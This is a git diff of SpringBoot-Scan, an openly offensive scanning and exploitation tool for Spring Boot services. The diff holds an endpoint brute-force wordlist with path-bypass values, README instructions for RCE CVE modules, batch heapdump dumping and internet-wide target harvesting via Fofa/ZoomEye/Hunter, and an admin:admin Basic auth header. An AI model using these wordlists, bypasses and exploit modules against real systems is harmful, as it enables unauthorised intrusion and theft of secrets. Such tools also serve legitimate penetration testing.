diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..cd01692 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +.vscode/* +.idea/* +error.log +urlout.txt +vulout.txt +url.txt \ No newline at end of file diff --git a/Dir.txt b/Dir.txt index 39bb6c1..c87c85f 100644 --- a/Dir.txt +++ b/Dir.txt @@ -1,4 +1,6 @@ +api-docs actuator +actuator/./env actuator/auditLog actuator/auditevents actuator/autoconfig @@ -36,19 +38,30 @@ actuator/resolveAttributes actuator/scheduledtasks actuator/sessions actuator/springWebflow -actuator/shutdown actuator/sso actuator/ssoSessions actuator/statistics actuator/status actuator/threaddump actuator/trace +actuator/env.css +artemis-portal/artemis/env +artemis/api +artemis/api/env auditevents autoconfig +api api.html +api/actuator +api/doc api/index.html +api/swaggerui api/swagger-ui.html +api/swagger +api/swagger/ui api/v2/api-docs +api/v2;%0A/api-docs +api/v2;%252Ftest/api-docs api-docs beans caches @@ -57,16 +70,21 @@ conditions configprops distv2/index.html docs +doc.html +druid druid/index.html druid/login.html druid/websession.html dubbo-provider/distv2/index.html dump +decision/login entity/all env +env.css env/(name) eureka flyway +functionRouter gateway/actuator gateway/actuator/auditevents gateway/actuator/beans @@ -86,14 +104,17 @@ gateway/actuator/scheduledtasks gateway/actuator/swagger-ui.html gateway/actuator/threaddump gateway/actuator/trace +gateway/routes health -heapdump.json httptrace hystrix info integrationgraph jolokia jolokia/list +jeecg/swagger-ui +jeecg/swagger/ +libs/swaggerui liquibase list logfile @@ -102,44 +123,91 @@ liquibase metrics mappings monitor +nacos +prod-api/actuator prometheus +portal/conf/config.properties +portal/env/ refresh scheduledtasks sessions -shutdown spring-security-oauth-resource/swagger-ui.html spring-security-rest/api/swagger-ui.html static/swagger.json sw/swagger-ui.html swagger swagger/codes +swagger/doc.json swagger/index.html swagger/static/index.html swagger/swagger-ui.html +Swagger/ui/index +swagger/ui +swagger/v1/swagger.json +swagger/v2/swagger.json swagger-dubbo/api-docs +swagger-resources +swagger-resources/configuration/ui +swagger-resources/configuration/security swagger-ui swagger-ui.html +swagger-ui.html; swagger-ui/html swagger-ui/index.html system/druid/index.html +system/druid/webseesion.html threaddump template/swagger-ui.html trace +users user/swagger-ui.html version +v1/api-docs/ +v2/api-docs/ +v3/api-docs/ +v1/swagger-resources +v2/swagger-resources +v3/swagger-resources v1.1/swagger-ui.html +v1.1;%0A/api-docs v1.2/swagger-ui.html +v1.2;%0A/api-docs v1.3/swagger-ui.html +v1.3;%0A/api-docs v1.4/swagger-ui.html +v1.4;%0A/api-docs v1.5/swagger-ui.html +v1.5;%0A/api-docs v1.6/swagger-ui.html +v1.6;%0A/api-docs v1.7/swagger-ui.html -/v1.8/swagger-ui.html -/v1.9/swagger-ui.html -/v2.0/swagger-ui.html +v1.7;%0A/api-docs +v1.8/swagger-ui.html +v1.8;%0A/api-docs +v1.9/swagger-ui.html +v1.9;%0A/api-docs +v2.0/swagger-ui.html +v2.0;%0A/api-docs v2.1/swagger-ui.html +v2.1;%0A/api-docs v2.2/swagger-ui.html +v2.2;%0A/api-docs v2.3/swagger-ui.html +v2.3;%0A/api-docs +v1/swagger.json v2/swagger.json +v3/swagger.json +v2;%0A/api-docs +v3;%0A/api-docs +v2;%252Ftest/api-docs +v3;%252Ftest/api-docs +webpage/system/druid/websession.html webpage/system/druid/index.html -%20/swagger-ui.html \ No newline at end of file +webroot/decision/login +webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js +webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js?v=2.9.2 +webjars/springfox-swagger-ui/springfox.js +webjars/springfox-swagger-ui/springfox.js?v=2.9.2 +webjars/springfox-swagger-ui/swagger-ui-bundle.js +webjars/springfox-swagger-ui/swagger-ui-bundle.js?v=2.9.2 +%20/swagger-ui.html diff --git a/README.md b/README.md index da7c0dd..c674e5c 100644 --- a/README.md +++ b/README.md @@ -1,94 +1,187 @@ -![SpringBoot-Scan](https://socialify.git.ci/Aabysszg/SpringBoot-Scan/image?description=1&font=Rokkitt&forks=1&issues=1&language=1&logo=https%3A%2F%2Favatars.githubusercontent.com%2Fu%2F54609266&name=1&owner=1&pattern=Circuit%20Board&stargazers=1&theme=Dark) +![SpringBoot-Scan](https://socialify.git.ci/AabyssZG/SpringBoot-Scan/image?description=1&descriptionEditable=Open%20source%20penetration%20framework%20for%20SpringBoot%20and%20high-risk%20vulnerability%20exploitation%20tools%20related%20to%20Spring&font=Rokkitt&forks=1&issues=1&language=1&logo=https%3A%2F%2Favatars.githubusercontent.com%2Fu%2F54609266%3Fv%3D4&name=1&owner=1&pattern=Circuit%20Board&stargazers=1&theme=Dark) # ✈️ 一、工具概述 -日常渗透过程中,经常会碰到Spring Boot搭建的微服务,于是就想做一个针对Spring Boot的开源渗透框架,主要用作扫描Spring Boot的敏感信息泄露端点,并可以直接测试Spring的相关高危漏洞。 +日常渗透过程中,经常会碰到Spring Boot搭建的微服务,于是就想做一个针对Spring Boot的开源渗透框架,主要用作扫描Spring Boot的敏感信息泄露端点,并可以直接测试Spring的相关高危漏洞。于是,就写了这么一个工具:SpringBoot-Scan 【简称:“SB-Scan”(错乱】![star](https://gitcode.com/AabyssZG/SpringBoot-Scan/star/badge.svg) -于是,就写了这么一个工具:SpringBoot-Scan 【简称:“SB-Scan”(错乱】 +![SpringBoot-Scan](./SpringBoot-Scan.png) -**后期将加入更多漏洞利用内置模块(各位师傅能不能赏个Star嘛~码代码挺辛苦的哈哈)** +**本项目的GitCode地址:[https://gitcode.com/AabyssZG/SpringBoot-Scan](https://gitcode.com/AabyssZG/SpringBoot-Scan),当前工具版本号:V2.7.1-2025/10/12** -**我还整理了一篇SpringBoot的相关渗透姿势在我的个人博客,欢迎各位师傅前来交流哈哈:[https://blog.zgsec.cn/index.php/archives/129/](https://blog.zgsec.cn/index.php/archives/129/)** +**我还整理了一篇SpringBoot的相关渗透姿势在我的个人博客,欢迎各位师傅前来交流哈哈:[https://blog.zgsec.cn/archives/129.html](https://blog.zgsec.cn/archives/129.html)** # 📝 二、TODO -* [x] 由 `13exp` 师傅友情制作GUI图形化版本 -* [x] 添加支持CVE-2022-22947 (Spring Cloud Gateway SpELRCE) -* [x] 添加支持CVE-2022-22963 (Spring Cloud Function SpEL RCE) -* [x] 添加支持CVE-2022-22965 (Spring Core RCE) +## 漏洞支持的更新 + +* [x] 感谢 [`@ez-lbz`](https://github.com/ez-lbz) 师傅提交的PR,添加支持CVE-2025-41243 (Spring Cloud Gateway环境属性修改漏洞) +* [x] 感谢 [`@ez-lbz`](https://github.com/ez-lbz) 师傅提交的PR,添加支持CVE-2024-37084 (Spring Cloud Data Flow远程命令执行漏洞) +* [x] 添加支持2023 JeeSpringCloud 任意文件上传漏洞 +* [x] 添加支持CVE-2022-22947 (Spring Cloud Gateway SpELRCE漏洞) +* [x] 添加支持CVE-2022-22963 (Spring Cloud Function SpEL RCE漏洞) +* [x] 添加支持CVE-2022-22965 (Spring Core RCE漏洞) +* [x] 添加支持CVE-2021-21234 (任意文件读取漏洞) +* [x] 添加支持2021 SnakeYAML_RCE 漏洞 +* [x] 添加支持2021 Eureka_Xstream 反序列化漏洞 +* [x] 添加支持2020 Jolokia配置不当导致RCE漏洞 +* [x] 添加支持CVE-2018-1273(Spring Data Commons RCE漏洞) +* [x] 增加漏洞利用选择模块,可以选择单一或多个漏洞进行检测 * [x] 命令执行漏洞式支持交互式执行命令 -* [x] 验证代理是否存活 -* [x] 支持使用HTTP/HTTPS代理所有流量 +* [x] 增加批量漏洞验证模块(你们一直想要的来啦) + +后期将加入更多漏洞利用内置模块(各位师傅能不能赏个Star嘛~ 码代码挺辛苦的哈哈) + +## 功能支持的更新 + +* [x] 感谢 [`@kn1g78`](https://github.com/kn1g78) 师傅提交的PR,修复了端点扫描的若干BUG +* [x] 感谢 [`@ngc660sec`](https://github.com/ngc660sec) 师傅提交的PR,对于自定义请求头进行类型判断,防止二次转换类型 +* [x] 感谢 [`@ThumpBo`](https://github.com/ThumpBo) 师傅提出的建议,增加了读取指定TXT批量扫描敏感文件的功能 `-df` 并将扫描成功结果导出至 `dumpout.txt` 内 +* [x] 对下载敏感文件的模块进行报错优化,将报错内容并入至 `error.log` +* [x] 感谢 [`@YanXi9999`](https://github.com/YanXi9999) 师傅的贡献,在读取指定TXT并批量信息泄露扫描过程中,去除重复页面提高效率 +* [x] 对端点爆破模块进行优化,对页面进行Hash计算,如果发现页面Hash相同的情况就不导入到 `urlout.txt` +* [x] 在目录爆破 `run.py` /POC探测 `poc.py` /漏洞利用 `vul.py` 这三个核心模块,新增全局变量 `outtime = 10` 可自由调整各模块HTTP访问超时时间 +* [x] 感谢 [`@Viking`](https://github.com/VK2000) 师傅,增加了部分 `Dir.txt` 敏感端点爆破字典的内容 +* [x] 感谢 [`@Fkalis`](https://github.com/WingBy-Fkalis) 师傅,使用 `aiohttp` 对批量信息泄露扫描进行并发处理,大大提高 `-uf` 参数的扫描速度 +* [x] 新增支持多个参数自定义HTTP头部(请求头)进行操作,功能实现啦,快来试试吧~ +* [x] 新增支持资产测绘导出的时候自定义查询语句,更加灵活的导出目标资产数据 +* [x] 新增在敏感端点爆破爆破(单一和批量)的时候进行延时扫描,防止扫描速度太快被拦截 +* [x] 新增 [Hunter资产测绘](https://hunter.qianxin.com/) 导出模块,自动对接API接口将资产导出至 `hunterout.txt` +* [x] 新增 [Fofa资产测绘](https://fofa.info/) 导出模块,自动对接API接口将资产导出至 `fofaout.txt` +* [x] 新增 [ZoomEye资产测绘](https://www.zoomeye.org/) 导出模块,自动对接API接口将资产导出至 `zoomout.txt` +* [x] 在Spring端点爆破的时候,新增过滤一些无效回显的页面,提高工作效率 +* [x] 对端点爆破字典进行优化,增加一些绕过语句,如果有补充欢迎提交 +* [x] 支持自动对Spring进行指纹识别 +* [x] 在漏洞利用模块,对错误进行输出为 `error.log` +* [x] 支持使用带认证的HTTP代理节点,自动检测节点状态 +* [x] 由 [`@13exp`](https://github.com/13exp) 师傅友情制作GUI图形化版本 +* [x] 验证代理是否存活,并可以使用HTTP代理认证,支持使用HTTP/HTTPS代理所有流量 * [x] 随机User-Agent请求头 * [x] 解决SSL证书问题 (自签名证书请改成 `http://` 即可) * [x] 智能识别目标地址 (`example.com` 和`http://example.com/` 以及`http://example.com` 都不会报错) -**GUI图形化版本,由 [13exp](https://github.com/13exp/) 师傅友情制作,GUI地址:[https://github.com/13exp/SpringBoot-Scan-GUI](https://github.com/13exp/SpringBoot-Scan-GUI)** +## 注明 + +- **本工具优化了使用者体验,不管是对单一URL扫描还是读取TXT进行批量扫描,`example.com` 和`http://example.com/` 以及`http://example.com` 都不会报错,程序会自行判断并识别** +- **解决了SSL证书问题,可以对采用SSL证书的Spring Boot框架进行扫描(自签名证书请改成 `http://` 即可)** +- **对于二级目录部署的Spring项目,直接给工具相应的路径就行了(比如 `example.com/test/` 这个路径部署了Spring项目,那直接将 `example.com/test/` 传参给工具就行了)** + +**GUI图形化版本,由 [`@13exp`](https://github.com/13exp) 师傅友情制作,GUI地址:[https://github.com/13exp/SpringBoot-Scan-GUI](https://github.com/13exp/SpringBoot-Scan-GUI)** -**感觉好用,师傅们可以点个Star哈哈~** ![GUI](./pic/GUI.png) +**注:因为本项目的 `vul.py` 和GUI项目均包含漏洞利用模块,杀软报毒和查杀为正常情况。如果觉得工具不错,师傅们可以点个Star哈哈~** + # 🚨 三、安装Python依赖库 ``` -pip3 install -r requirements.txt +pip install -r requirements.txt +``` + +如果pip安装速度慢,可以采用国内源进行安装: + +``` +pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/ ``` # 🐉 四、工具使用 + +如何找到互联网上的Spring框架,ZoomEye语法如下: + +``` +app:"Spring Framework" +``` + +Fofa语法如下: + +``` +icon_hash="116323821"||body="Whitelabel Error Page" +``` + +本工具的参数如下: + ``` # python3 SpringBoot-Scan.py - ______ __ _______ __ - / \ | \ | \ | \ -| $$$$$$\ ______ ______ \$$ _______ ______ | $$$$$$$\ ______ ______ _| $$_ -| $$___\$$ / \ / \ | \| \ / \ | $$__/ $$ / \ / \| $$ \ - \$$ \ | $$$$$$\| $$$$$$\| $$| $$$$$$$\| $$$$$$\| $$ $$| $$$$$$\| $$$$$$\\$$$$$$ - _\$$$$$$\| $$ | $$| $$ \$$| $$| $$ | $$| $$ | $$| $$$$$$$\| $$ | $$| $$ | $$ | $$ __ + ______ __ _______ __ + / \ | \ | \ | \ +| $$$$$$\ ______ ______ \$$ _______ ______ | $$$$$$$\ ______ ______ _| $$_ +| $$___\$$ / \ / \ | \| \ / \ | $$__/ $$ / \ / \| $$ \ + \$$ \ | $$$$$$\| $$$$$$\| $$| $$$$$$$\| $$$$$$\| $$ $$| $$$$$$\| $$$$$$\\$$$$$$ + _\$$$$$$\| $$ | $$| $$ \$$| $$| $$ | $$| $$ | $$| $$$$$$$\| $$ | $$| $$ | $$ | $$ __ | \__| $$| $$__/ $$| $$ | $$| $$ | $$| $$__| $$| $$__/ $$| $$__/ $$| $$__/ $$ | $$| \ \$$ $$| $$ $$| $$ | $$| $$ | $$ \$$ $$| $$ $$ \$$ $$ \$$ $$ \$$ $$ - \$$$$$$ | $$$$$$$ \$$ \$$ \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$$$ - | $$ | \__| $$ - | $$ \$$ $$ - \$$ \$$$$$$ - ______ - / \ - | $$$$$$\ _______ ______ _______ +-------------------------------------+ - | $$___\$$ / \| \ | \ + + - \$$ \ | $$$$$$$ \$$$$$$\| $$$$$$$\ + Version: 2.03 + - _\$$$$$$\| $$ / $$| $$ | $$ + Author: 曾哥(@AabyssZG) + - | \__| $$| $$_____| $$$$$$$| $$ | $$ + Whoami: https://github.com/AabyssZG + - \$$ $$ \$$ \\$$ $$| $$ | $$ + + - \$$$$$$ \$$$$$$$ \$$$$$$$ \$$ \$$ +-------------------------------------+ - + \$$$$$$ | $$$$$$$ \$$ \$$ \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$$$ + | $$ | \__| $$ + | $$ \$$ $$ [+] V2.7.1-2025年 欢度国庆佳节版 + \$$ \$$$$$$ [+] 感谢一路上支持和关注我们的师傅 + ______ + / \ +-------------------------------------+ + | $$$$$$\ _______ ______ _______ + Version: 2.7.1 + + | $$___\$$ / \| \ | \ + Author: 曾哥(@AabyssZG) + + \$$ \ | $$$$$$$ \$$$$$$\| $$$$$$$\ + Whoami: https://github.com/AabyssZG + + _\$$$$$$\| $$ / $$| $$ | $$ +-------------------------------------+ + | \__| $$| $$_____| $$$$$$$| $$ | $$ + 多进程速度提升: Fkalis + + \$$ $$ \$$ \\$$ $$| $$ | $$ + Whoami: github.com/WingBy-Fkalis + + \$$$$$$ \$$$$$$$ \$$$$$$$ \$$ \$$ +-------------------------------------+ 用法: - 对单一URL进行信息泄露扫描: python3 SpringBoot-Scan.py -u example.com - 读取目标TXT进行批量信息泄露扫描: python3 SpringBoot-Scan.py -f url.txt - 对单一URL进行漏洞利用: python3 SpringBoot-Scan.py -v example.com - 扫描并下载SpringBoot敏感文件: python3 SpringBoot-Scan.py -d example.com + 对单一URL进行信息泄露扫描: python3 SpringBoot-Scan.py -u http://example.com/ + 读取目标TXT进行批量信息泄露扫描: python3 SpringBoot-Scan.py -uf url.txt + 对单一URL进行漏洞扫描: python3 SpringBoot-Scan.py -v http://example.com/ + 读取目标TXT进行批量漏洞扫描: python3 SpringBoot-Scan.py -vf url.txt + 扫描并下载SpringBoot敏感文件: python3 SpringBoot-Scan.py -d http://example.com/ + 读取目标TXT进行批量敏感文件扫描: python3 SpringBoot-Scan.py -df url.txt 使用HTTP代理并自动进行连通性测试: python3 SpringBoot-Scan.py -p <代理IP:端口> + 从TXT文件中导入自定义HTTP头部: python3 SpringBoot-Scan.py -t header.txt + 通过ZoomEye密钥进行API下载数据: python3 SpringBoot-Scan.py -z + 通过Fofa密钥进行API下载数据: python3 SpringBoot-Scan.py -f + 通过Hunter密钥进行API下载数据: python3 SpringBoot-Scan.py -y +``` + +# 🛸 五、工具演示 + +## 0# Spring资产测绘 + +### 通过ZoomEye进行Spring资产测绘 -参数: - -u --url 对单一URL进行信息泄露扫描 - -f --file 读取目标TXT进行批量信息泄露扫描 - -v --vul 对单一URL进行漏洞利用 - -d --dump 扫描并下载SpringBoot敏感文件(可提取敏感信息) - -p --proxy 使用HTTP进行代理(默认连通性测试www.baidu.com) +本工具专门对接了 [ZoomEye的API接口](https://www.zoomeye.org/doc),使用API-KEY即可批量下载Spring的资产测绘数据: + +``` +python3 SpringBoot-Scan.py -z ``` -**注意,本工具优化了使用者体验,不管是对单一URL扫描还是读取TXT进行批量扫描,`example.com` 和`http://example.com/` 以及`http://example.com` 都不会报错,程序会自行判断并识别** +![ZoomEye](./pic/ZoomEye.png) -**同时,解决了SSL证书问题,可以对采用SSL证书的Spring Boot框架进行扫描(自签名证书请改成 `http://` 即可)** +**注:目前该模块已经支持自定义语法的资产测绘导出;资产测绘结束后,会把通过API下载的结果导出到 `zoomout.txt`,就可以使用其他参数进行操作啦** -# 🛸 五、工具演示 +### 通过Fofa进行Spring资产测绘 + +本工具专门对接了 [Fofa的API接口](https://fofa.info/api),使用API-KEY即可批量下载Spring的资产测绘数据: -### 0# 信息泄露字典 +``` +python3 SpringBoot-Scan.py -f +``` -Dir.txt为内置的信息泄露端点字典,我基本收集齐了Spring Boot的相关敏感信息泄露端点 +![Fofa](./pic/Fofa.png) -如果有遗漏,欢迎各位师傅跟我联系哈哈 +**注:目前该模块已经支持自定义语法的资产测绘导出;资产测绘结束后,会把通过API下载的结果导出到 `fofaout.txt`,就可以使用其他参数进行操作啦** -### 1# 测试并使用代理 +### 通过Hunter鹰图进行Spring资产测绘 + +本工具专门对接了 [鹰图的API接口](https://hunter.qianxin.com/home/helpCenter?r=5-1-2),使用API-KEY即可批量下载Spring的资产测绘数据: + +``` +python3 SpringBoot-Scan.py -y +``` + +![Hunter](./pic/Hunter.png) + +**注:目前该模块已经支持自定义语法的资产测绘导出;资产测绘结束后,会把通过API下载的结果导出到 `hunterout.txt`,就可以使用其他参数进行操作啦** + +## 1# 测试并使用代理和自定义HTTP头部 + +### 测试并使用代理 ``` python3 SpringBoot-Scan.py -p <代理IP:端口> +python3 SpringBoot-Scan.py -p ``` ![测试代理](./pic/测试代理.png) @@ -96,10 +189,25 @@ python3 SpringBoot-Scan.py -p <代理IP:端口> 比如我想对单一URL进行信息泄露扫描并使用代理 ``` python3 SpringBoot-Scan.py -u example.com -p <代理IP:端口> +python3 SpringBoot-Scan.py -p +``` +同样,其他参数(`-u` / `-uf` / `-v` / `-vf` / `-d`)均可以配合代理使用 + +### 测试并使用自定义HTTP头部(自定义请求头) + ``` -同样,其他参数(`-u` / `-f` / `-u` / `-d`)均可以配合代理使用 +python3 SpringBoot-Scan.py -t header.txt +``` + +![Headers](./pic/Headers.png) + +使用该自定义HTTP头部功能请自行更改 `header.txt` 内的内容,允许(`-u` / `-uf` / `-v` / `-d`)参数使用,因为批量漏洞扫描没有明确需求故没加入该功能 + +## 2# 对单一URL进行敏感端点爆破 -### 2# 对单一URL进行信息泄露扫描 +`Dir.txt` 为内置的Spring端点爆破字典,我基本收集齐了Spring Boot的相关敏感信息泄露端点 + +如果有遗漏,欢迎各位师傅跟我联系哈哈 ``` python3 SpringBoot-Scan.py -u example.com @@ -107,19 +215,23 @@ python3 SpringBoot-Scan.py -u example.com ![扫描单一URL](./pic/扫描单一URL.png) -**注:扫描结束后,会把成功的结果导出为同目录下的urlout.txt** +新增延时扫描选项,如果不想延时扫描输入 `0` 回车即可 + +**注:扫描结束后,会把成功的结果导出为同目录下的 `urlout.txt`** -### 3# 读取目标TXT进行批量信息泄露扫描 +## 3# 读取目标TXT进行批量信息泄露扫描 ``` -python3 SpringBoot-Scan.py -f url.txt +python3 SpringBoot-Scan.py -uf url.txt ``` ![读取TXT并批量扫描](./pic/读取TXT并批量扫描.png) -**注:扫描结束后,会把成功的结果导出为同目录下的output.txt** +新增延时扫描选项,如果不想延时扫描输入 `0` 回车即可;感谢 [`@Fkalis`](https://github.com/FFR66) 师傅,新增并发扫描选项,默认并发数为10 -### 4# 对单一URL进行漏洞利用 +**注:由于版本更新,在2.21版本之后,读取TXT并扫描的参数改为 `uf`,扫描结束后,会把成功的结果导出为同目录下的 `output.txt`** + +## 4# 对单一URL进行漏洞利用 ``` python3 SpringBoot-Scan.py -v example.com @@ -127,11 +239,21 @@ python3 SpringBoot-Scan.py -v example.com ![对单一URL进行漏洞利用](./pic/对单一URL进行漏洞利用.png) -默认执行 `id` Payload,只是证明漏洞存在即可,有需要可以提issue来添加一个命令自定义功能 +已经实现RCE漏洞,命令自定义功能(不要拿去干坏事哦) **同时,后期将加入更多漏洞利用内置模块,请师傅们敬请期待~** -### 5# 扫描并下载SpringBoot敏感文件 +## 5# 读取目标TXT进行批量漏洞扫描 + +``` +python3 SpringBoot-Scan.py -vf url.txt +``` + +![Poc](./pic/Poc.png) + +可以自由选择漏洞库里面的漏洞进行批量验证,扫描结束后将导出成功的内容至 `vulout.txt` 内 + +## 6# 扫描并下载SpringBoot敏感文件 ``` python3 SpringBoot-Scan.py -d example.com @@ -149,8 +271,42 @@ gateway/actuator/heapdump heapdump heapdump.json hystrix.stream +artemis-portal/artemis/heapdump +``` + +## 7# 读取目标TXT进行批量敏感文件扫描 + +``` +python3 SpringBoot-Scan.py -df url.txt ``` +![读取目标TXT进行批量敏感文件扫描](./pic/读取目标TXT进行批量敏感文件扫描.png) + +扫描结束后将导出成功的内容至 `dumpout.txt` 内 + 如果有师傅有其他敏感文件的目录,可以提交issues,谢谢!!! -![star](https://starchart.cc/AabyssZG/SpringBoot-Scan.svg) +# 🖐 六、免责声明 + +1. 如果您下载、安装、使用、修改本工具及相关代码,即表明您信任本工具 +2. 在使用本工具时造成对您自己或他人任何形式的损失和伤害,我们不承担任何责任 +3. 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任 +4. 请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受 +5. 除非您已阅读并接受本协议所有条款,否则您无权下载、安装或使用本工具 +6. 您的下载、安装、使用等行为即视为您已阅读并同意上述协议的约束 + +# 🙏 七、感谢各位师傅 + +## Stargazers + +[![Stargazers repo roster for @AabyssZG/SpringBoot-Scan](http://reporoster.com/stars/AabyssZG/SpringBoot-Scan)](https://github.com/AabyssZG/SpringBoot-Scan/stargazers) + + +## Forkers + +[![Forkers repo roster for @AabyssZG/SpringBoot-Scan](http://reporoster.com/forks/AabyssZG/SpringBoot-Scan)](https://github.com/AabyssZG/SpringBoot-Scan/network/members) + + +## Star History + +[![Star History Chart](https://api.star-history.com/svg?repos=AabyssZG/SpringBoot-Scan&type=Date)](https://star-history.com/#AabyssZG/SpringBoot-Scan&Date) diff --git a/SpringBoot-Scan.png b/SpringBoot-Scan.png new file mode 100644 index 0000000..616eeb4 Binary files /dev/null and b/SpringBoot-Scan.png differ diff --git a/SpringBoot-Scan.py b/SpringBoot-Scan.py index f1c47a2..ff58677 100644 --- a/SpringBoot-Scan.py +++ b/SpringBoot-Scan.py @@ -11,10 +11,17 @@ def get_parser(): parser = argparse.ArgumentParser(usage='python3 SpringBoot-Scan.py',description='SpringBoot-Scan: 针对SpringBoot的开源渗透框架',) p = parser.add_argument_group('SpringBoot-Scan 的参数') p.add_argument("-u", "--url", type=str, help="对单一URL进行信息泄露扫描") - p.add_argument("-f", "--file", type=str, help="读取目标TXT进行信息泄露扫描") + p.add_argument("-uf", "--urlfile", type=str, help="读取目标TXT进行信息泄露扫描") p.add_argument("-v", "--vul", type=str, help="对单一URL进行漏洞利用") + p.add_argument("-vf", "--vulfile", type=str, help="读取目标TXT进行批量漏洞扫描") p.add_argument("-d", "--dump", type=str, help="扫描并下载SpringBoot敏感文件(可提取敏感信息)") + p.add_argument("-df", "--dumpfile", type=str, help="读取目标TXT进行批量敏感文件扫描(可提取敏感信息)") p.add_argument("-p", "--proxy", type=str, default='', help="使用HTTP代理") + p.add_argument("-z", "--zoomeye", type=str, default='', help="使用ZoomEye导出Spring框架资产") + p.add_argument("-f", "--fofa", type=str, default='', help="使用Fofa导出Spring框架资产") + p.add_argument("-y", "--hunter", type=str, default='', help="使用Hunter导出Spring框架资产") + p.add_argument("-t", "--newheader", type=str, help="从TXT文件中导入自定义HTTP头部") + p.add_argument("-c", "--cookie", type=str, help="设置请求的Cookie") args = parser.parse_args() return args diff --git a/header.txt b/header.txt new file mode 100644 index 0000000..5caed14 --- /dev/null +++ b/header.txt @@ -0,0 +1 @@ +Authorization: Basic YWRtaW46YWRtaW4= \ No newline at end of file diff --git a/inc/Readme.md b/inc/Readme.md deleted file mode 100644 index 8b13789..0000000 --- a/inc/Readme.md +++ /dev/null @@ -1 +0,0 @@ - diff --git a/inc/console.py b/inc/console.py index 2a78635..0ed383a 100644 --- a/inc/console.py +++ b/inc/console.py @@ -1,19 +1,36 @@ #!/usr/bin/env python # coding=utf-8 + ################ + # AabyssZG # +################ -from inc import output,run,vul -import sys +from inc import output,run,vul,springcheck,zoom,fofa,poc,hunter +import sys,asyncio # 控制台-参数处理和程序调用 -def SpringBoot_Scan_console(args,proxies): +def SpringBoot_Scan_console(args, proxies, header_new): if args.url: - run.url(args.url,proxies) - if args.file: - run.file(args.file,proxies) + urlnew = springcheck.check(args.url, proxies, header_new) + run.url(urlnew, proxies, header_new) + if args.urlfile: + asyncio.run(run.file_main(args.urlfile, proxies, header_new)) if args.vul: - vul.vul(args.vul,proxies) + urlnew = springcheck.check(args.vul, proxies, header_new) + vul.vul(urlnew, proxies, header_new) + if args.vulfile: + poc.poc(args.vulfile, proxies) if args.dump: - run.dump(args.dump,proxies) + urlnew = springcheck.check(args.dump, proxies, header_new) + run.dump(urlnew, proxies, header_new) + if args.dumpfile: + run.dumpfile(args.dumpfile, proxies, header_new) + if args.zoomeye: + zoom.ZoomDowload(args.zoomeye, proxies) + if args.fofa: + fofa.FofaDowload(args.fofa, proxies) + if args.hunter: + hunter.HunterDowload(args.hunter, proxies) else: output.usage() sys.exit() + \ No newline at end of file diff --git a/inc/fofa.py b/inc/fofa.py new file mode 100644 index 0000000..e001c5e --- /dev/null +++ b/inc/fofa.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python +# coding=utf-8 + ################ + # AabyssZG # +################ + +import requests, sys, json, re, random, base64 +from termcolor import cprint +from time import sleep +import urllib3 +urllib3.disable_warnings() + +def JSON_load(text): + json_str = text + data = json.loads(json_str) + # 提取ip和port信息 + ip_port_list = [service[0] for service in data["results"]] + # 打印提取的信息 + if ip_port_list == []: + cprint("[-] 没有搜索到任何资产,请确认你的语法是否正确","yellow") + sys.exit() + for service in ip_port_list: + if ("https" not in service): + service = "http://" + service + outurl = str(service) + f2 = open("fofaout.txt", "a") + f2.write(str(outurl) + '\n') + f2.close() + print(f"Service: {outurl}") + +def Key_Dowload(key,proxies,choices,searchs): + cprint("======通过Fofa密钥进行API下载数据======","green") + Headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", + "Content-Type": "application/x-www-form-urlencoded" + } + pagesys = (choices%100) + pageszc = (choices//100) + if pagesys > 0: + pages = pageszc + 1 + else: + pages = pageszc + i = 1 + while i <= pages: + page_url = "&page=" + str(i) + keyurl = "https://fofa.info/api/v1/search/all?&key=" + key + "&qbase64=" + str(searchs) + dowloadurl = keyurl + page_url + cprint("[+] 正在尝试下载第 %d 页数据" % i, "red") + try: + requests.packages.urllib3.disable_warnings() + dowloadre = requests.get(url=dowloadurl, headers=Headers, timeout=10, verify=False, proxies=proxies) + if ("\"error\":false" in str(dowloadre.text)): + JSON_load(dowloadre.text) + cprint("-" * 45, "red") + else: + cprint("[-] API返回状态码为 %d" % dowloadre.status_code,"yellow") + cprint("[-] 请根据返回的状态码,参考官方手册:https://fofa.info/api","yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + i = i + 1 + +def Key_Test(key,proxies,choices,searchs): + cprint("======您的Fofa密钥进行API对接测试======","green") + Headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", + "Content-Type": "application/x-www-form-urlencoded" + } + keytesturl = "https://fofa.info/api/v1/info/my?key=" + key + try: + requests.packages.urllib3.disable_warnings() + testre = requests.get(url=keytesturl, headers=Headers, timeout=6, verify=False, proxies=proxies) + json_str = testre.text + data = json.loads(json_str) + error = data["error"] + if error == 0: + username = str(data["username"]) + cprint("[+] 您的key有效,测试成功!您的账号为 %s" % username, "red") + isvip = data["isvip"] + if isvip == 1: + cprint("[+] 您的账号为VIP会员", "red") + else: + cprint("[.] 您的账号不是VIP会员", "yellow") + Key_Dowload(key,proxies,choices,searchs) + else: + apierror = data["errmsg"] + cprint("[-] 发生错误,API返回结果为 %s" % apierror,"yellow") + cprint("[-] 请根据返回的结果,参考官方手册:https://fofa.info/api","yellow") + sys.exit() + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def FofaDowload(key,proxies): + cprint("======开始对接Fofa接口进行Spring资产测绘======","green") + cprint('[+] 您的Fofa密钥为:' + key ,"green") + try: + choices = input("\n[.] 请输入要测绘的资产数量(默认100条): ") + if choices == '': + choices = "100" + elif int(choices) <= 0: + print("请不要输入负数") + sys.exit() + choices = int(choices) + except Exception as e: + 